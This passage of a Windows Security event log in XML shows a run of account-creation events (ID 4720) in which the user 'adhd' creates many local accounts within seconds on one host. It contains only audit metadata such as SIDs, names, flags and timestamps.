Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1104</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Harry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Harry - adhd - - - 4720 - 4663 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.0821351Z'/><EventRecordID>4663</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Debra</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1103</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Debra</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Debra - adhd - - - 4720 - 4657 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.9795382Z'/><EventRecordID>4657</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Hannah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1102</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Hannah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Hannah - adhd - - - 4720 - 4651 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.9061146Z'/><EventRecordID>4651</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Justin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1101</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Justin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Justin - adhd - - - 4720 - 4645 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.8097001Z'/><EventRecordID>4645</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brenda</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1100</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brenda</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brenda - adhd - - - 4720 - 4639 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.6280143Z'/><EventRecordID>4639</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Diane</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1099</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Diane</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Diane - adhd - - - 4720 - 4633 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.5335369Z'/><EventRecordID>4633</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Billy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1098</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Billy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Billy - adhd - - - 4720 - 4627 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.4555723Z'/><EventRecordID>4627</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Megan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1097</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Megan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Megan - adhd - - - 4720 - 4621 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.3736443Z'/><EventRecordID>4621</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Zachary</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1096</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Zachary</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Zachary - adhd - - - 4720 - 4615 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.2667964Z'/><EventRecordID>4615</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Diana</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1095</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Diana</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Diana - adhd - - - 4720 - 4609 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:00.1850043Z'/><EventRecordID>4609</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carl</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1094</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carl</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carl - adhd - - - 4720 - 4603 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.9577187Z'/><EventRecordID>4603</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Olivia</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1093</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Olivia</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Olivia - adhd - - - 4720 - 4597 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.8801883Z'/><EventRecordID>4597</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Michelle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1092</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Michelle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Michelle - adhd - - - 4720 - 4591 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.6548606Z'/><EventRecordID>4591</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Danielle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1091</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Danielle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Danielle - adhd - - - 4720 - 4585 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.5628735Z'/><EventRecordID>4585</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Frank</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1090</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Frank</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Frank - adhd - - - 4720 - 4579 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:59.4208073Z'/><EventRecordID>4579</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Mark</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1089</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Mark</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - 